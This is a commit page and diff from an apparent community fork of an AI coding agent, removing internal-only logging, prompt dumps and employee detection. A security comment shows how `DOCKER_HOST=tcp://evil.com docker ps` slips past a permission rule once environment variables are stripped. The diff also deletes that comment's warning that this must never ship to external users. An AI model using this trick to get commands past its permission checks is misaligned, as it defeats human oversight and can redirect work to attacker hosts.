fix: remove internal Anthropic tooling from external build (#345)
Remove debug systems, employee detection, and internal logging that have no function in a community fork. Changes: - Remove logPermissionContextForAnts import and calls (main.tsx, compact.ts) Reads Kubernetes namespace and container IDs from internal infra paths. Dead code for all external users. - Remove createDumpPromptsFetch import and gate (query.ts) Internal prompt dump system for employee debugging. Replace gate with unconditional undefined — normal fetch always used. - Remove stripSignatureBlocks ant-only block (query.ts) Was behind USER_TYPE === 'ant' guard, never ran for external users. - Hardcode isAnt: false (query/config.ts) Employee detection flag has no place in a community fork. config.gates.isAnt had exactly one consumer (dumpPromptsFetch, now removed). - Gut logClassifierResultForAnts body (bashPermissions.ts) Replace with empty no-op. Still called from 4 sites, zero execution. Remove ANT-ONLY comments describing internal security model. - Gate status.anthropic.com behind firstParty check (errors.ts) 429 error hint now only shown when using Anthropic directly. Third-party provider users see a generic capacity message. Build: passes Typecheck: clean (no new errors) Tests: 196 pass, same 6 pre-existing failures unrelated to these changes
This commit is contained in:
@@ -110,37 +110,16 @@ export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
|
||||
export const MAX_SUGGESTED_RULES_FOR_COMPOUND = 5
|
||||
|
||||
/**
|
||||
* [ANT-ONLY] Log classifier evaluation results for analysis.
|
||||
* This helps us understand which classifier rules are being evaluated
|
||||
* and how the classifier is deciding on commands.
|
||||
* Log classifier evaluation results for analysis.
|
||||
* No-op in external builds.
|
||||
*/
|
||||
function logClassifierResultForAnts(
|
||||
command: string,
|
||||
behavior: ClassifierBehavior,
|
||||
descriptions: string[],
|
||||
result: ClassifierResult,
|
||||
_command: string,
|
||||
_behavior: ClassifierBehavior,
|
||||
_descriptions: string[],
|
||||
_result: ClassifierResult,
|
||||
): void {
|
||||
if (process.env.USER_TYPE !== 'ant') {
|
||||
return
|
||||
}
|
||||
|
||||
logEvent('tengu_internal_bash_classifier_result', {
|
||||
behavior:
|
||||
behavior as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
||||
descriptions: jsonStringify(
|
||||
descriptions,
|
||||
) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
||||
matches: result.matches,
|
||||
matchedDescription: (result.matchedDescription ??
|
||||
'') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
||||
confidence:
|
||||
result.confidence as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
||||
reason:
|
||||
result.reason as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
||||
// Note: command contains code/filepaths - this is ANT-ONLY so it's OK
|
||||
command:
|
||||
command as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
||||
})
|
||||
// Internal-only logging removed from external build.
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -430,13 +409,11 @@ const SAFE_ENV_VARS = new Set([
|
||||
])
|
||||
|
||||
/**
|
||||
* ANT-ONLY environment variables that are safe to strip from commands.
|
||||
* These are only enabled when USER_TYPE === 'ant'.
|
||||
* Environment variables that are safe to strip from commands.
|
||||
*
|
||||
* SECURITY: These env vars are stripped before permission-rule matching, which
|
||||
* means `DOCKER_HOST=tcp://evil.com docker ps` matches a `Bash(docker ps:*)`
|
||||
* rule after stripping. This is INTENTIONALLY ANT-ONLY (gated at line ~380)
|
||||
* and MUST NEVER ship to external users. DOCKER_HOST redirects the Docker
|
||||
* rule after stripping. DOCKER_HOST redirects the Docker
|
||||
* daemon endpoint — stripping it defeats prefix-based permission restrictions
|
||||
* by hiding the network endpoint from the permission check. KUBECONFIG
|
||||
* similarly controls which cluster kubectl talks to. These are convenience
|
||||
|
||||
Reference in New Issue
Block a user